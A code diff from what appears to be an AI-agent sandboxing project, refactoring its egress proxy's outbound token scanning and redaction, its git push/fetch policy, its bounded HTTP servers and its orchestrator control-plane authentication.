+        """Resolve one bottle context, reusing the HTTPS CONNECT snapshot."""
+        meta = getattr(flow, "metadata", None)
+        if isinstance(meta, dict) and _FLOW_CTX_KEY in meta:
+            config, slug, env = meta[_FLOW_CTX_KEY]
+            self._request_token(flow)
+            return config, slug, env
+        config, slug, env = self._resolve_flow(flow)
+        self._stash_flow_ctx(flow, config, slug, env)
+        return config, slug, env
+
+    def _allow_git_request(
+        self, flow: http.HTTPFlow, config: Config,
+        request_path: str, query: str,
+    ) -> bool:
+        """Apply the HTTPS Git push/fetch boundary before general routing."""
+        reason = git_block_reason(
+            config.routes, flow.request.pretty_host, request_path, query,
+        )
+        if not reason:
+            return True
+        self._block(flow, reason, ctx=self._req_ctx(flow))
+        return False
+
+    def _apply_route_policy(
+        self, flow: http.HTTPFlow, config: Config, route: Route | None,
+        request_path: str, env: "typing.Mapping[str, str]",
+    ) -> None:
+        """Strip agent auth, evaluate the route, then inject gateway auth."""
        # Strip agent-set Authorization after DLP scan so smuggled tokens
        # are caught above; the route may inject gateway-owned auth below.
        # Routes with preserve_auth=True pass the header through as-is so the
        # agent's own credentials (e.g. registry bearer tokens) reach the upstream.
-        if route is None or not route.preserve_auth:
+        result = evaluate_route_policy(
+            config,
+            route,
+            host=flow.request.pretty_host,
+            request_path=request_path,
+            method=flow.request.method,
+            headers=dict(flow.request.headers),
+            env=env,
+        )
+        if result.strip_authorization:
            flow.request.headers.pop("authorization", None)

-        # Build headers mapping for match evaluation
-        req_headers = {k.lower(): v for k, v in flow.request.headers.items()}
-
-        decision = decide(
-            config.routes,
-            flow.request.pretty_host,
-            request_path,
-            env,
-            request_method=flow.request.method,
-            request_headers=req_headers,
-            deny_reason=config.deny_reason,
-        )
-
-        if decision.action == "block":
-            self._block(flow, decision.reason, ctx=self._req_ctx(flow))
+        if result.block_reason:
+            self._block(flow, result.block_reason, ctx=self._req_ctx(flow))
            return

-        if decision.inject_authorization is not None:
-            flow.request.headers["authorization"] = decision.inject_authorization
+        if result.inject_authorization is not None:
+            flow.request.headers["authorization"] = result.inject_authorization

-        if config.log >= LOG_FULL:
+        if result.log_request:
            self._log_request(flow, env)

    def _block_dlp(self, flow: http.HTTPFlow, result: ScanResult) -> None:
@@ -495,20 +495,12 @@ class EgressAddon:
        Loops so the supervise policy can re-scan after each approval — a
        second, un-approved token in the same request is still caught."""
        while True:
-            request_path, _, query = flow.request.path.partition("?")
-            body = flow.request.get_text(strict=False) or ""
-            headers = outbound_scan_headers(route, dict(flow.request.headers))
-            scan_text = build_outbound_scan_text(
-                flow.request.pretty_host, request_path, query, headers, body,
-            )
-            # CRLF is scanned only over the request line + headers, never the
-            # body (see scan_outbound) — a body is not an injection vector.
-            crlf_text = build_outbound_scan_text(
-                flow.request.pretty_host, request_path, query, headers, "",
-            )
-            result = scan_outbound(
-                route, scan_text, env,
-                safe_tokens=self._safe_tokens_for(slug), crlf_text=crlf_text,
+            request_path, _, _ = flow.request.path.partition("?")
+            result = scan_request(
+                flow.request,
+                route,
+                env,
+                safe_tokens=self._safe_tokens_for(slug),
            )
            if result is None or result.severity != "block":
                return True
@@ -518,7 +510,7 @@ class EgressAddon:
            # redact scrubs every detection (tokens and structural CRLF) and
            # forwards; it fails closed only if a match survives the scrub.
            if policy == ON_MATCH_REDACT:
-                if self._redact_outbound(flow, route, env):
+                if redact_request(flow.request, route, env):
                    if self._flow_log(flow) >= LOG_BLOCKS:
                        sys.stderr.write(json.dumps({
                            "event": "egress_redacted",
@@ -551,41 +543,6 @@ class EgressAddon:
                return False  # _supervise_token_block wrote the 403 response
            # loop: the approved value is now in safe_tokens; re-scan.

-    def _redact_outbound(
-        self, flow: http.HTTPFlow, route: Route, env: "typing.Mapping[str, str]",
-    ) -> bool:
-        """Scrub detected tokens (and CRLF injection sequences) from the mutable
-        request surfaces (body, headers, path/query) and re-scan. `env` is the
-        per-bottle env overlay. Returns True if the request is now clean; False
-        if a block-severity match remains on a surface redaction cannot rewrite
-        (the hostname) so the caller fails closed."""
-        body = flow.request.get_text(strict=False)
-        if body:
-            redacted_body = redact_tokens(body, env=env)
-            if redacted_body != body:
-                flow.request.text = redacted_body
-        for name, value in list(flow.request.headers.items()):
-            if name.lower() == "host":
-                continue  # routing-critical; never a legitimate token
-            redacted = strip_crlf(redact_tokens(value, env=env))
-            if redacted != value:
-                flow.request.headers[name] = redacted
-        redacted_path = strip_crlf(redact_tokens(flow.request.path, env=env))
-        if redacted_path != flow.request.path:
-            flow.request.path = redacted_path
-
-        request_path, _, query = flow.request.path.partition("?")
-        new_body = flow.request.get_text(strict=False) or ""
-        headers = outbound_scan_headers(route, dict(flow.request.headers))
-        scan_text = build_outbound_scan_text(
-            flow.request.pretty_host, request_path, query, headers, new_body,
-        )
-        crlf_text = build_outbound_scan_text(
-            flow.request.pretty_host, request_path, query, headers, "",
-        )
-        result = scan_outbound(route, scan_text, env, crlf_text=crlf_text)
-        return result is None or result.severity != "block"
-
    async def _supervise_token_block(
        self,
        flow: http.HTTPFlow,
@@ -0,0 +1,83 @@
+"""Outbound DLP request scanning and redaction for the egress pipeline."""
+
+from __future__ import annotations
+
+from typing import ItemsView, Mapping, Protocol
+
+from .dlp import (
+    build_outbound_scan_text,
+    outbound_scan_headers,
+    scan_outbound,
+)
+from .dlp_detectors import redact_tokens, strip_crlf
+from .types import Route, ScanResult
+
+
+class MutableHeaders(Protocol):
+    def items(self) -> ItemsView[str, str]: ...
+    def __getitem__(self, name: str, /) -> str: ...
+    def __setitem__(self, name: str, value: str, /) -> None: ...
+
+
+class MutableRequest(Protocol):
+    pretty_host: str
+    path: str
+    headers: MutableHeaders
+    text: str
+
+    def get_text(self, strict: bool = False) -> str | None: ...
+
+
+def scan_request(
+    request: MutableRequest,
+    route: Route,
+    env: Mapping[str, str],
+    *,
+    safe_tokens: set[str] | None = None,
+) -> ScanResult | None:
+    """Scan all mutable outbound request surfaces in their canonical order."""
+    request_path, _, query = request.path.partition("?")
+    headers = outbound_scan_headers(route, dict(request.headers.items()))
+    body = request.get_text(strict=False) or ""
+    scan_text = build_outbound_scan_text(
+        request.pretty_host, request_path, query, headers, body,
+    )
+    # Bodies cannot alter HTTP framing, so CRLF detection is deliberately
+    # restricted to the request line and headers.
+    crlf_text = build_outbound_scan_text(
+        request.pretty_host, request_path, query, headers, "",
+    )
+    return scan_outbound(
+        route,
+        scan_text,
+        env,
+        safe_tokens=safe_tokens,
+        crlf_text=crlf_text,
+    )
+
+
+def redact_request(
+    request: MutableRequest,
+    route: Route,
+    env: Mapping[str, str],
+) -> bool:
+    """Redact mutable request surfaces and return whether the result is clean."""
+    body = request.get_text(strict=False)
+    if body:
+        redacted_body = redact_tokens(body, env=env)
+        if redacted_body != body:
+            request.text = redacted_body
+    for name, value in list(request.headers.items()):
+        if name.lower() == "host":
+            continue
+        redacted = strip_crlf(redact_tokens(value, env=env))
+        if redacted != value:
+            request.headers[name] = redacted
+    redacted_path = strip_crlf(redact_tokens(request.path, env=env))
+    if redacted_path != request.path:
+        request.path = redacted_path
+    result = scan_request(request, route, env)
+    return result is None or result.severity != "block"
+
+
+__all__ = ["MutableRequest", "redact_request", "scan_request"]
@@ -0,0 +1,92 @@
+"""Framework-neutral request policy stages for the egress adapter.
+
+The mitmproxy addon owns flow mutation and response construction. This module
+owns the ordered Git and route-policy decisions so those rules remain directly
+testable without a live proxy flow.
+"""
+
+from __future__ import annotations
+
+from dataclasses import dataclass
+from typing import Mapping, Sequence
+
+from .matching import (
+    decide,
+    decide_git_fetch,
+    is_git_fetch_request,
+    is_git_push_request,
+)
+from .types import LOG_FULL, Config, Route
+
+GIT_PUSH_BLOCK_REASON = (
+    "egress: git push over HTTPS is not supported; "
+    "use the bottle.git SSH path (gitleaks-scanned by "
+    "git-gate's pre-receive hook)."
+)
+
+
+@dataclass(frozen=True)
+class RoutePolicyResult:
+    """The flow mutations and outcome produced by general route policy."""
+
+    block_reason: str = ""
+    strip_authorization: bool = False
+    inject_authorization: str | None = None
+    log_request: bool = False
+
+
+def git_block_reason(
+    routes: Sequence[Route],
+    host: str,
+    request_path: str,
+    query: str,
+) -> str:
+    """Return the HTTPS Git policy denial, or ``""`` when allowed."""
+    if is_git_push_request(request_path, query):
+        return GIT_PUSH_BLOCK_REASON
+    if not is_git_fetch_request(request_path, query):
+        return ""
+    decision = decide_git_fetch(routes, host)
+    return decision.reason if decision.action == "block" else ""
+
+
+def evaluate_route_policy(
+    config: Config,
+    route: Route | None,
+    *,
+    host: str,
+    request_path: str,
+    method: str,
+    headers: Mapping[str, str],
+    env: Mapping[str, str],
+) -> RoutePolicyResult:
+    """Evaluate authorization stripping, matching, injection, and logging."""
+    strip_authorization = route is None or not route.preserve_auth
+    effective_headers = {
+        name.lower(): value
+        for name, value in headers.items()
+        if not (strip_authorization and name.lower() == "authorization")
+    }
+    decision = decide(
+        config.routes,
+        host,
+        request_path,
+        env,
+        request_method=method,
+        request_headers=effective_headers,
+        deny_reason=config.deny_reason,
+    )
+    return RoutePolicyResult(
+        block_reason=decision.reason if decision.action == "block" else "",
+        strip_authorization=strip_authorization,
+        inject_authorization=decision.inject_authorization,
+        log_request=config.log >= LOG_FULL,
+    )
+
+
+__all__ = [
+    "GIT_PUSH_BLOCK_REASON",
+    "RoutePolicyResult",
+    "evaluate_route_policy",
+    "git_block_reason",
+]
@@ -21,12 +21,19 @@ from __future__ import annotations
 import os
 import subprocess
 import sys
+import tempfile
+import threading
 import typing
-from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
+from http.server import BaseHTTPRequestHandler
 from pathlib import Path
 from urllib.parse import urlsplit

 from bot_bottle.constants import GIT_GATE_TIMEOUT_SECS, IDENTITY_HEADER
+from bot_bottle.gateway.bounded_http import (
+    BodyReadError,
+    BoundedThreadingHTTPServer,
+    copy_declared_body,
+)
 from bot_bottle.gateway.policy_resolver import PolicyResolveError, PolicyResolver


@@ -77,6 +84,10 @@ def resolve_sandbox_root(

 # Bound memory use while still allowing ordinary git push packfiles.
 MAX_BODY_BYTES = 100 * 1024 * 1024
+REQUEST_BODY_TIMEOUT_SECONDS = 30.0
+MAX_REQUEST_WORKERS = 16
+MAX_BODY_WORKERS = 2
+_BODY_WORK_SLOTS = threading.BoundedSemaphore(MAX_BODY_WORKERS)


 class GitHttpHandler(BaseHTTPRequestHandler):
@@ -184,27 +195,40 @@ class GitHttpHandler(BaseHTTPRequestHandler):
            value = self.headers.get(header)
            if value:
                env[variable] = value
-        raw_length = self.headers.get("content-length", "0") or "0"
+        if not _BODY_WORK_SLOTS.acquire(blocking=False):
+            self.send_error(503, "git request capacity exhausted")
+            return
        try:
-            length = int(raw_length)
-        except ValueError:
-            self.send_error(400, "Bad Content-Length")
-            return
-        if length < 0:
-            self.send_error(400, "Negative Content-Length")
-            return
-        if length > MAX_BODY_BYTES:
-            self.send_error(413, "Request body too large")
-            return
-        body = self.rfile.read(length) if length else b""
-        proc = subprocess.run(
-            ["git", "http-backend"],
-            input=body,
-            env=env,
-            capture_output=True,
-            check=False,
-            timeout=GIT_GATE_TIMEOUT_SECS,
-        )
+            with tempfile.TemporaryFile() as body:
+                try:
+                    copy_declared_body(
+                        self.rfile,
+                        body,
+                        self.connection,
+                        self.headers.get("content-length"),
+                        maximum=MAX_BODY_BYTES,
+                        timeout_seconds=REQUEST_BODY_TIMEOUT_SECONDS,
+                        require_length=False,
+                    )
+                except BodyReadError as exc:
+                    self.send_error(exc.status, exc.message)
+                    return
+                body.seek(0)
+                try:
+                    proc = subprocess.run(
+                        ["git", "http-backend"],
+                        stdin=body,
+                        env=env,
+                        capture_output=True,
+                        check=False,
+                        timeout=GIT_GATE_TIMEOUT_SECS,
+                    )
+                except (OSError, subprocess.SubprocessError) as exc:
+                    self.log_message("git http-backend unavailable: %s", exc)
+                    self.send_error(503, "git backend unavailable")
+                    return
+        finally:
+            _BODY_WORK_SLOTS.release()
        self._write_cgi_response(proc.stdout)

    def _repo_dir(self, sandbox_root: Path, path: str) -> Path | None:
@@ -273,7 +297,9 @@ def main() -> int:
            "(no single-tenant flat-root fallback)\n"
        )
        return 1
-    server = ThreadingHTTPServer(("0.0.0.0", port), GitHttpHandler)
+    server = BoundedThreadingHTTPServer(
+        ("0.0.0.0", port), GitHttpHandler, max_workers=MAX_REQUEST_WORKERS,
+    )
    # Resolve each request's sandbox namespace by source IP against the
    # orchestrator control plane.
    server.policy_resolver = PolicyResolver(orch_url)  # type: ignore[attr-defined]
@@ -385,7 +385,7 @@ PY
      ;;
  esac
  echo "git-gate: queued # gitleaks:allow supervisor approval $proposal_id" >&2
-  echo "git-gate: approve with './cli.py supervise' to continue this push" >&2
+  echo "git-gate: approve with 'bot-bottle supervise' to continue this push" >&2
  waited=0
  while [ "$waited" -lt "$timeout" ]; do
    status=$(PYTHONPATH="/app${PYTHONPATH:+:$PYTHONPATH}" python3 - "$proposal_id" <<'PY'
@@ -0,0 +1,92 @@
+"""Framework-neutral MCP method and tool dispatch."""
+
+from __future__ import annotations
+
+import json
+from dataclasses import dataclass
+from typing import Callable, Protocol
+
+from bot_bottle.gateway.egress.schema import load_config, route_to_yaml_dict
+from bot_bottle.gateway.policy_resolver import PolicyResolveError, PolicyResolver
+from bot_bottle.supervisor import types as _sv
+
+
+class Request(Protocol):
+    @property
+    def method(self) -> str: ...
+
+    @property
+    def params(self) -> dict[str, object]: ...
+
+
+class MethodNotFoundError(Exception):
+    """Raised when a JSON-RPC method has no MCP handler."""
+
+
+class RouteResolutionError(Exception):
+    """The caller's live route table could not be resolved authoritatively."""
+
+
+Handler = Callable[[dict[str, object]], object]
+
+
+@dataclass(frozen=True)
+class Handlers:
+    initialize: Handler
+    tools_list: Handler
+    list_routes: Handler
+    check_proposal: Handler
+    propose: Handler
+
+
+def dispatch(request: Request, handlers: Handlers) -> object:
+    """Route one parsed request without depending on the HTTP server."""
+    if request.method == "initialize":
+        return handlers.initialize(request.params)
+    if request.method == "notifications/initialized":
+        return None
+    if request.method == "tools/list":
+        return handlers.tools_list(request.params)
+    if request.method != "tools/call":
+        raise MethodNotFoundError(request.method)
+
+    tool = request.params.get("name")
+    if tool == _sv.TOOL_LIST_EGRESS_ROUTES:
+        return handlers.list_routes(request.params)
+    if tool == _sv.TOOL_CHECK_PROPOSAL:
+        return handlers.check_proposal(request.params)
+    return handlers.propose(request.params)
+
+
+def resolved_routes_payload(
+    resolver: PolicyResolver,
+    source_ip: str,
+    identity_token: str,
+) -> dict[str, object]:
+    """Render an authoritatively resolved route table for the calling bottle."""
+    try:
+        policy, bottle_id, _tokens = resolver.resolve_policy_and_bottle_id(
+            source_ip, identity_token,
+        )
+    except PolicyResolveError as exc:
+        raise RouteResolutionError("orchestrator unavailable") from exc
+    if not bottle_id:
+        raise RouteResolutionError("request source is not attributed to a bottle")
+    try:
+        config = load_config(policy or "")
+    except ValueError as exc:
+        raise RouteResolutionError("resolved policy is invalid") from exc
+    body = json.dumps(
+        {"routes": [route_to_yaml_dict(route) for route in config.routes]},
+        indent=2,
+    )
+    return {"content": [{"type": "text", "text": body}], "isError": False}
+
+
+__all__ = [
+    "Handlers",
+    "MethodNotFoundError",
+    "RouteResolutionError",
+    "dispatch",
+    "resolved_routes_payload",
+]
@@ -51,17 +51,27 @@ from __future__ import annotations
 import http.server
 import json
 import os
-import socketserver
 import sys
 import time
 import typing
 from dataclasses import dataclass

 from bot_bottle.constants import IDENTITY_HEADER
-from bot_bottle.gateway.egress.context import resolve_client_context
-from bot_bottle.gateway.egress.schema import load_config, route_to_yaml_dict
+from bot_bottle.gateway.bounded_http import (
+    BodyReadError,
+    BoundedThreadingHTTPServer,
+    read_declared_body,
+)
+from bot_bottle.gateway.egress.schema import load_config
 from bot_bottle.gateway.egress.types import LOG_OFF
 from bot_bottle.gateway.policy_resolver import PolicyResolveError, PolicyResolver
+from bot_bottle.gateway.supervisor.mcp_dispatch import (
+    Handlers as DispatchHandlers,
+    MethodNotFoundError,
+    RouteResolutionError,
+    dispatch,
+    resolved_routes_payload,
+)
 from bot_bottle.supervisor import types as _sv


@@ -565,6 +575,8 @@ def format_unknown_proposal_text(proposal_id: str) -> str:
 # Max request body the server accepts. 1 MB is well above any realistic
 # routes.yaml proposal.
 MAX_BODY_BYTES = 1 * 1024 * 1024
+REQUEST_BODY_TIMEOUT_SECONDS = 10.0
+MAX_REQUEST_WORKERS = 32


 class MCPHandler(http.server.BaseHTTPRequestHandler):
@@ -587,19 +599,18 @@ class MCPHandler(http.server.BaseHTTPRequestHandler):
        self._write_text(405, "use POST for MCP requests\n")

    def do_POST(self) -> None:
-        length_header = self.headers.get("Content-Length")
-        if length_header is None:
-            self._write_text(411, "Content-Length required\n")
-            return
        try:
-            length = int(length_header)
-        except ValueError:
-            self._write_text(400, "invalid Content-Length\n")
+            body = read_declared_body(
+                self.rfile,
+                self.connection,
+                self.headers.get("Content-Length"),
+                maximum=MAX_BODY_BYTES,
+                timeout_seconds=REQUEST_BODY_TIMEOUT_SECONDS,
+                require_length=True,
+            )
+        except BodyReadError as exc:
+            self._write_text(exc.status, exc.message + "\n")
            return
-        if length < 0 or length > MAX_BODY_BYTES:
-            self._write_text(413, "request body too large\n")
-            return
-        body = self.rfile.read(length)

        try:
            req = parse_jsonrpc(body)
@@ -611,6 +622,11 @@ class MCPHandler(http.server.BaseHTTPRequestHandler):

        try:
            result = self._dispatch(req, config)
+        except MethodNotFoundError as e:
+            self._write_jsonrpc(
+                jsonrpc_error(req.id, ERR_METHOD_NOT_FOUND, f"method not found: {e}"),
+            )
+            return
        except _RpcClientError as e:
            self._write_jsonrpc(jsonrpc_error(req.id, e.code, e.message))
            return
@@ -633,41 +649,42 @@ class MCPHandler(http.server.BaseHTTPRequestHandler):
        self._write_jsonrpc(jsonrpc_result(req.id, result))

    def _dispatch(self, req: JsonRpcRequest, config: ServerConfig) -> object:
-        method = req.method
-        if method == "initialize":
-            return handle_initialize(req.params)
-        if method == "notifications/initialized":
-            return None  # ack-only
-        if method == "tools/list":
-            return handle_tools_list(req.params)
-        if method == "tools/call":
-            # `list-egress-routes` is read-only introspection. The shared gateway
-            # has no static route table (routes are resolved per request by
-            # source IP), so answer it from the calling bottle's resolved policy.
-            # Otherwise the agent sees an empty allowlist and composes an egress
-            # proposal that *replaces* the live routes instead of extending them
-            # — silently dropping base routes like api.anthropic.com on approval.
-            if req.params.get("name") == _sv.TOOL_LIST_EGRESS_ROUTES:
-                return self._resolved_routes_payload()
-            resolver = self._resolver_or_fail()
-            source_ip = self.client_address[0]
-            token = self._identity_token()
-            # `check-proposal` is a non-blocking read of the calling bottle's
-            # own queue — attributed by (source_ip, identity_token) like a
-            # proposal, but it never queues or blocks.
-            if req.params.get("name") == _sv.TOOL_CHECK_PROPOSAL:
-                return handle_check_proposal(
-                    req.params, resolver=resolver,
-                    source_ip=source_ip, identity_token=token,
-                )
-            # The control plane attributes the proposal to the source-IP + token
-            # resolved bottle, so the one shared queue holds each bottle's
-            # proposal under its own id — no slug is asserted by this daemon.
-            return handle_tools_call(
-                req.params, config, resolver=resolver,
-                source_ip=source_ip, identity_token=token,
+        def check(params: dict[str, object]) -> object:
+            return handle_check_proposal(
+                params,
+                resolver=self._resolver_or_fail(),
+                source_ip=self.client_address[0],
+                identity_token=self._identity_token(),
            )
-        raise _RpcClientError(ERR_METHOD_NOT_FOUND, f"method not found: {method}")
+
+        def propose(params: dict[str, object]) -> object:
+            return handle_tools_call(
+                params,
+                config,
+                resolver=self._resolver_or_fail(),
+                source_ip=self.client_address[0],
+                identity_token=self._identity_token(),
+            )
+
+        def list_routes(_params: dict[str, object]) -> object:
+            try:
+                return resolved_routes_payload(
+                    self._resolver_or_fail(),
+                    self.client_address[0],
+                    self._identity_token(),
+                )
+            except RouteResolutionError as exc:
+                raise _RpcInternalError(
+                    f"could not resolve live egress routes: {exc}"
+                ) from exc
+
+        return dispatch(req, DispatchHandlers(
+            initialize=handle_initialize,
+            tools_list=handle_tools_list,
+            list_routes=list_routes,
+            check_proposal=check,
+            propose=propose,
+        ))

    def _identity_token(self) -> str:
        """The agent's per-bottle identity token from the request header (the
@@ -686,20 +703,6 @@ class MCPHandler(http.server.BaseHTTPRequestHandler):
            raise _RpcInternalError("supervise server has no policy resolver")
        return resolver

-    def _resolved_routes_payload(self) -> dict[str, object]:
-        """The calling bottle's live egress routes as the `list-egress-routes`
-        JSON payload, resolved by (source_ip, identity token). Fail-closed: an
-        unattributed source or an unreachable orchestrator yields an empty route
-        list (never another bottle's), courtesy of `resolve_client_context`."""
-        resolver = self._resolver_or_fail()
-        conf, _slug, _tokens = resolve_client_context(
-            resolver, self.client_address[0], self._identity_token(),
-        )
-        body = json.dumps(
-            {"routes": [route_to_yaml_dict(r) for r in conf.routes]}, indent=2,
-        )
-        return {"content": [{"type": "text", "text": body}], "isError": False}
-
    def _write_jsonrpc(self, body: bytes) -> None:
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
@@ -719,7 +722,7 @@ class MCPHandler(http.server.BaseHTTPRequestHandler):
            self.wfile.write(encoded)


-class MCPServer(socketserver.ThreadingMixIn, http.server.HTTPServer):
+class MCPServer(BoundedThreadingHTTPServer):
    allow_reuse_address = True
    daemon_threads = True
    config: ServerConfig = ServerConfig()
@@ -728,6 +731,9 @@ class MCPServer(socketserver.ThreadingMixIn, http.server.HTTPServer):
    # closed per request (see `_resolver_or_fail`).
    policy_resolver: "PolicyResolver | None" = None

+    def __init__(self, *args, **kwargs):  # type: ignore[no-untyped-def]
+        super().__init__(*args, max_workers=MAX_REQUEST_WORKERS, **kwargs)
+

 # --- Entry point -----------------------------------------------------------

@@ -8,6 +8,7 @@ imported (`deploy_key_provisioner`) to keep its cost off the host path.

 from __future__ import annotations

+import json
 import os
 import dataclasses
 from pathlib import Path
@@ -138,7 +139,32 @@ def provision_git_gate_dynamic_keys(
            if upstream.name not in updated_names:
                updated.append(upstream)

-    return dataclasses.replace(plan, upstreams=tuple(updated))
+    final_plan = dataclasses.replace(plan, upstreams=tuple(updated))
+    _write_upstreams_snapshot(stage_dir, final_plan.upstreams)
+    return final_plan
+
+
+def _write_upstreams_snapshot(
+    stage_dir: Path, upstreams: tuple[GitGateUpstream, ...]
+) -> None:
+    """Persist the fully-resolved upstream table to `upstreams.json` in
+    `stage_dir` so the bring-up reconcile can re-provision git-gate without
+    the manifest. Written after dynamic keys are provisioned so every
+    identity_file is set."""
+    data = [
+        {
+            "name": u.name,
+            "upstream_url": u.upstream_url,
+            "upstream_host": u.upstream_host,
+            "upstream_port": u.upstream_port,
+            "identity_file": u.identity_file,
+            "known_host_key": u.known_host_key,
+        }
+        for u in upstreams
+    ]
+    snapshot = stage_dir / "upstreams.json"
+    snapshot.write_text(json.dumps(data, indent=2))
+    snapshot.chmod(0o600)


 __all__ = [
@@ -44,7 +44,7 @@ if TYPE_CHECKING:
    from ..gateway import Gateway, GatewayError
    from .lifecycle import Orchestrator
    from .service import OrchestratorCore
-    from .server import OrchestratorServer, dispatch, make_server
+    from .server import OrchestratorServer, create_app, make_server


 # Facade name -> submodule that defines it. Lazy so importing a leaf (or the
@@ -67,8 +67,8 @@ _LAZY: dict[str, str] = {
    "GatewayError": "..gateway",
    "Orchestrator": ".lifecycle",
    "OrchestratorCore": ".service",
+    "create_app": ".server",
    "OrchestratorServer": ".server",
-    "dispatch": ".server",
    "make_server": ".server",
 }

@@ -100,7 +100,7 @@ __all__ = [
    "GatewayError",
    "Orchestrator",
    "OrchestratorCore",
+    "create_app",
    "OrchestratorServer",
-    "dispatch",
    "make_server",
 ]
@@ -1,6 +1,7 @@
 """Run the orchestrator control plane as a plain process (PRD 0070 dev-harness).

-    python -m bot_bottle.orchestrator [--host H] [--port P] [--db PATH]
+    BOT_BOTTLE_ORCHESTRATOR_TOKEN=<signing-key> \
+        python -m bot_bottle.orchestrator [--host H] [--port P] [--db PATH]

 The PRD sequences the orchestrator as a plain-process dev-harness first, so
 the consolidation core (registry + attribution + HTTP control plane + live
@@ -16,12 +17,13 @@ import secrets
 from pathlib import Path

 from .. import log
-from .store.store_manager import StoreManager
+from ..trust_domain import CONTROL_PLANE
 from .broker import LaunchBroker, StubBroker
-from .server import make_server
 from .docker_broker import DockerBroker
-from .store.registry_store import RegistryStore, default_db_path
+from .server import make_server
 from .service import OrchestratorCore
+from .store.store_manager import StoreManager
+from .store.registry_store import RegistryStore, default_db_path


 def main(argv: list[str] | None = None) -> int:
@@ -38,6 +40,11 @@ def main(argv: list[str] | None = None) -> int:
        help="launch broker: 'stub' records requests; 'docker' runs containers",
    )
    args = parser.parse_args(argv)
+    if not CONTROL_PLANE.key_from_env():
+        log.die(
+            f"{CONTROL_PLANE.key_env} is required; refusing to start the "
+            "orchestrator without caller authentication"
+        )

    registry = RegistryStore(args.db)
    registry.migrate()
@@ -55,17 +62,14 @@ def main(argv: list[str] | None = None) -> int:
    orchestrator = OrchestratorCore(registry, broker, secret)

    server = make_server(orchestrator, host=args.host, port=args.port)
-    bound_host, bound_port = server.server_address[0], server.server_address[1]
    log.info(
        "orchestrator control plane listening",
-        context={"host": bound_host, "port": bound_port, "db": str(registry.db_path)},
+        context={"host": args.host, "port": args.port, "db": str(registry.db_path)},
    )
    try:
-        server.serve_forever()
+        server.run()
    except KeyboardInterrupt:
        log.info("orchestrator shutting down")
-    finally:
-        server.server_close()
    return 0


@@ -0,0 +1,374 @@
+"""FastAPI control-plane routes for the orchestrator."""
+# pyright: reportUnusedFunction=false
+
+from __future__ import annotations
+
+import asyncio
+import math
+import sys
+from fastapi import FastAPI, HTTPException
+from fastapi.exceptions import RequestValidationError
+from fastapi.responses import JSONResponse
+from pydantic import BaseModel, ConfigDict, StrictStr
+from starlette.types import ASGIApp, Message, Receive, Scope, Send
+
+from ..orchestrator_auth import ROLE_CLI, ROLES
+from ..supervisor.types import TOOLS
+from ..trust_domain import CONTROL_PLANE
+from .http_contract import (
+    MAX_BODY_BYTES,
+    ORCHESTRATOR_AUTH_HEADER,
+    REQUEST_BODY_TIMEOUT_SECONDS,
+)
+from .service import OrchestratorCore
+
+_GATEWAY_ROUTES = frozenset({
+    ("POST", "/resolve"),
+    ("POST", "/supervise/propose"),
+    ("POST", "/supervise/poll"),
+})
+
+
+class _StrictModel(BaseModel):
+    model_config = ConfigDict(extra="ignore", strict=True)
+
+
+class LaunchBody(_StrictModel):
+    source_ip: StrictStr
+    image_ref: StrictStr = ""
+    metadata: StrictStr = ""
+    policy: StrictStr = ""
+    tokens: dict[StrictStr, StrictStr] = {}
+    env_var_secret: StrictStr = ""
+
+
+class PolicyBody(_StrictModel):
+    policy: StrictStr
+
+
+class ReprovisionBody(_StrictModel):
+    env_var_secret: StrictStr
+
+
+class SecretBody(_StrictModel):
+    name: StrictStr
+    value: StrictStr
+    env_var_secret: StrictStr
+
+
+class ReconcileBody(_StrictModel):
+    live_source_ips: list[StrictStr]
+    grace_seconds: float | None = None
+
+
+class IdentityBody(_StrictModel):
+    source_ip: StrictStr
+    identity_token: StrictStr = ""
+
+
+class AttributeBody(_StrictModel):
+    source_ip: StrictStr
+    identity_token: StrictStr
+
+
+class RespondBody(_StrictModel):
+    proposal_id: StrictStr
+    bottle_slug: StrictStr
+    decision: StrictStr
+    notes: StrictStr = ""
+    final_file: StrictStr | None = None
+
+
+class ProposeBody(IdentityBody):
+    tool: StrictStr
+    proposed_file: StrictStr
+    justification: StrictStr
+
+
+class PollBody(IdentityBody):
+    proposal_id: StrictStr
+
+
+class ControlPlaneBoundary:
+    """Reject unauthenticated and oversized requests before reading a body."""
+
+    def __init__(self, app: ASGIApp, signing_key: str) -> None:
+        self.app = app
+        self.signing_key = signing_key
+
+    async def __call__(self, scope: Scope, receive: Receive, send: Send) -> None:
+        if scope["type"] != "http":
+            await self.app(scope, receive, send)
+            return
+        method = scope["method"]
+        route = scope["path"].rstrip("/") or "/"
+        if not (method == "GET" and route == "/health"):
+            headers = dict(scope["headers"])
+            presented = headers.get(
+                ORCHESTRATOR_AUTH_HEADER.encode(), b"",
+            ).decode(errors="ignore")
+            role = CONTROL_PLANE.verify(presented, self.signing_key)
+            if role is None:
+                await self._reject(
+                    scope, send, 401, "control-plane authentication required",
+                )
+                return
+            allowed = ROLES if (method, route) in _GATEWAY_ROUTES else {ROLE_CLI}
+            if role not in allowed:
+                await self._reject(scope, send, 403, "insufficient role for this route")
+                return
+            scope.setdefault("state", {})["role"] = role
+        raw_length = dict(scope["headers"]).get(b"content-length")
+        if raw_length is not None:
+            try:
+                length = int(raw_length)
+            except ValueError:
+                await self._reject(scope, send, 400, "invalid Content-Length")
+                return
+            if length < 0:
+                await self._reject(scope, send, 400, "invalid Content-Length")
+                return
+            if length > MAX_BODY_BYTES:
+                await self._reject(scope, send, 413, "request body too large")
+                return
+        try:
+            body = await self._read_body(receive)
+        except _BodyTooLarge:
+            await self._reject(scope, send, 413, "request body too large")
+            return
+        except TimeoutError:
+            await self._reject(scope, send, 408, "request body read timed out")
+            return
+        try:
+            await self.app(scope, self._replay_body(body), send)
+        except Exception as exc:  # noqa: BLE001 - redact control-plane failures
+            sys.stderr.write(
+                f"orchestrator: {method} {route} failed "
+                f"[error_type={type(exc).__name__}]\n"
+            )
+            sys.stderr.flush()
+            await self._reject(scope, send, 500, "internal error")
+
+    @staticmethod
+    async def _reject(
+        scope: Scope, send: Send, status: int, error: str,
+    ) -> None:
+        response = JSONResponse({"error": error}, status_code=status)
+        await response(scope, ControlPlaneBoundary._empty_receive, send)
+
+    @staticmethod
+    async def _empty_receive() -> Message:
+        return {"type": "http.disconnect"}
+
+    @staticmethod
+    async def _read_body(receive: Receive) -> bytes:
+        body = bytearray()
+        async with asyncio.timeout(REQUEST_BODY_TIMEOUT_SECONDS):
+            while True:
